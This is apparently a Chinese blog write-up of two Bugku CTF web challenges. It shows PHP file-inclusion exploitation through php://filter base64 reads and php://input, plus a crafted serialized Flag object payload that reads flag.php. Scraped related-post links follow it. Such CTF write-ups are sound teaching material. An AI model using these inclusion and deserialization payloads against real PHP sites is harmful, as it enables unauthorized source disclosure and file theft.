这几天终于刷完了自己说是要刷完的那几道题,赶紧写几篇博客记录。。

1.  先看看这个网站:https://blog.csdn.net/qq_41289254/article/details/81388343

接下来直接上题:

1.http://123.206.87.240:8005/post/index.php?file=show.php

看源码和抓包都无果,根据题目提示,flag在index里,应该想到这里是要我们找到index.php的源码。

再看url里面file参数=show.php这里联想到可能是有文件包含漏洞。

所以这里进行php://filter协议去看index的源码

关于 php://filter   这里有个大佬的博客:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这里有一句常常用到,所以我觉得最好可以背下来,不然每次都难得百度,需要想将php转base64读取,这样include才不会把php文件执行。

这里令file=php://filter/read=convert.base64-encode/resource=index.php

然后直接拿到index的base64的源码,然后直接拿去解码,然后再源码里可以找到flag。

2.bugku    "welcome to bugkuctf"

连接:http://123.206.87.240:8006/test1/

点进去看源码

这里可以看到       include($file);       有这个一般都存在文件包含漏洞。

和上题一样,这里可以利用php封装协议查看index.php 的源码和 hint.php的源码,但是,这里要先满足if里的条件才会包含file

file_get_contents()  这个函数是把文件读为字符串,这里要用到php://input 协议,

这里有关于 php://input 协议的一片博客附上:https://blog.csdn.net/qq_27682041/article/details/73326435

官方的说法是

我自己的理解是,php://input 它是一个文件,它读取post数据,并且写入文件里,而include()会把文件当作php文件来解释,所以可以post  php代码执行的。

回到这道题,这里就直接user=php://input  然后再post数据过去,然后再读取index和hint两个的源码

http://123.206.87.240:8006/test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

拿去base64解码 得到源码

<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

同样的方法拿到 hint.php的源码

<?php

class Flag{//flag.php
public $file;

public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

这里看到flag.php 本来是想直接读出flag的源码,但是没法读,因为他把flag给我过滤了,但是 ,这里else里面又有include(),而且最后会echo password,所以这里想到会用echo输出flag。

unserialize()函数参见此网站,https://www.cnblogs.com/perl6/p/7124345.html

看了过后你就应该明白,这里构造 password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

php封装协议的两道题的更多相关文章

  1. LFI、RFI、PHP封装协议安全问题学习

    本文希望分享一些本地文件包含.远程文件包含.PHP的封装协议(伪协议)中可能包含的漏洞 相关学习资料 http://www.ibm.com/developerworks/cn/java/j-lo-lo ...

  2. LFI & RFI & PHP封装协议之安全问题研究

    目录 . 文件包含的基本概念 . LFI(Local File Include) . RFI(Remote File Include) . PHP中的封装协议(伪协议).PHP的流式文件操作模式所带来 ...

  3. 通用路由封装协议——GRE

    一.GRE简介 通用路由封装协议GRE(Generic Routing Encapsulation)可以对某些网络层协议(如IPX.ATM.IPv6.AppleTalk等)的数据报文进行封装,使这些被 ...

  4. PHP&nbsp;支持的协议/封装协议列表

    附录 L. 支持的协议/封装协议列表 目录 文件系统 Socket HTTP 和 HTTPS FTP 和 FTPS PHP 输入/输出流 压缩流 Secure Shell 2 音频流  以下是 PHP ...

  5. 关于php支持的协议与封装协议

    <?php /* * php://stdin 标准输入流 * php://stdout 标准输入流 * php://stderr 标准错误流 * php://output 只写的数据流 * ph ...

  6. FTP协议的两种工作模式简单解析!

    转载自百度百科:http://baike.baidu.com/link?url=KaBZmDM4IZ2v56MyoOnpjqKr0gADv_BRbgjlscYdyvh3-zDwINOHNPSi9Jlp ...

  7. (十四)UDP协议的两个主要方法sendto和recvfrom详解

    在网络编程中,UDP运用非常广泛.很多网络协议是基于UDP来实现的,如SNMP等.大家常常用到的局域网文件传输软件飞鸽传书也是基于UDP实现的. 本篇文章跟大家分享linux下UDP的使用和实现,主要 ...

  8. 分布式协议之两阶段提交协议(2PC)和改进三阶段提交协议(3PC)

    一. 事务的ACID 事务是保证数据库从一个一致性的状态永久地变成另外一个一致性状态的根本,当中,ACID是事务的基本特性. A是Atomicity,原子性.一个事务往往涉及到很多的子操作,原子性则保 ...

  9. Codeforces 460 DE 两道题

    D Little Victor and Set 题目链接 构造的好题.表示是看了题解才会做的. 假如[l,r]长度不超过4,直接暴力就行了. 假如[l,r]长度大于等于5,那么如果k = 1,显然答案 ...

随机推荐

  1. Lodop打印表格带页头页尾 高度是否包含页头页尾 转载

    通过设置TableHeightScope,可以实现对ADD_PRINT_TABLE,表格带页头页尾,查看本博客另一篇博文:Lodop打印表格带页头页尾 自动分页每页显示头尾 超文本超过打印项高度,会自 ...

  2. opencv旋转图像,90度标准旋转

    摘自opencv 源代码 void rotate(InputArray _src, OutputArray _dst, int rotateMode) { CV_Assert(_src.dims() ...

  3. TCP数据报结构以及三次握手(九)

    TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的.可靠的.基于字节流的通信协议,数据在传输前要建立连接,传输完毕后还要断开连接. 客户端在收发数据前要 ...

  4. win10经常无法复制粘贴

    两种方法尝试一下: 1. 在c:\windows\system32 目录下新建文件夹,命名为clip 2. 因为有道词典会监控并占用你的剪贴板,请尝试关闭有道词典的[取词]和[划词]功能,如果还不行就 ...

  5. 2019CCPC网络预选赛 八道签到题题解

    目录 2019中国大学生程序设计竞赛(CCPC) - 网络选拔赛 6702 & 6703 array 6704 K-th occurrence 6705 path 6706 huntian o ...

  6. 8.19 NOIP模拟测试26(B) 嚎叫响彻在贪婪的厂房+主仆见证了 Hobo 的离别+征途堆积出友情的永恒

    T1 嚎叫响彻在贪婪的厂房 以前做过一个等比数列的题「序列」,这个类似 是等差数列且公差不为1的条件就是各项差的绝对值的$gcd!=1$,每次拿出序列前两个数,求出差值,插入到set里,每次向后扩展, ...

  7. [LeetCode] 915. Partition Array into Disjoint Intervals 分割数组为不相交的区间

    Given an array A, partition it into two (contiguous) subarrays left and right so that: Every element ...

  8. [LeetCode] 847. Shortest Path Visiting All Nodes 访问所有结点的最短路径

    An undirected, connected graph of N nodes (labeled 0, 1, 2, ..., N-1) is given as graph. graph.lengt ...

  9. luogu P5605 小 A 与两位神仙 - 原根

    题目传送门 传送门 Subtask 1 直接模拟. Subtask 2 BSGS算法模板. Subtask 3 考虑模 $m$ 的任意一个原根 $g$. 假设 $g^{ra} \equiv x \pm ...

  10. Visual Studio 调试系列12 远程调试部署在远程计算机IIS上的ASP.NET应用程序

    系列目录     [已更新最新开发文章,点击查看详细] 要调试已部署到IIS的ASP.NET应用程序,请在部署应用程序的计算机上安装并运行远程工具,然后从Visual Studio附加到正在运行的应用 ...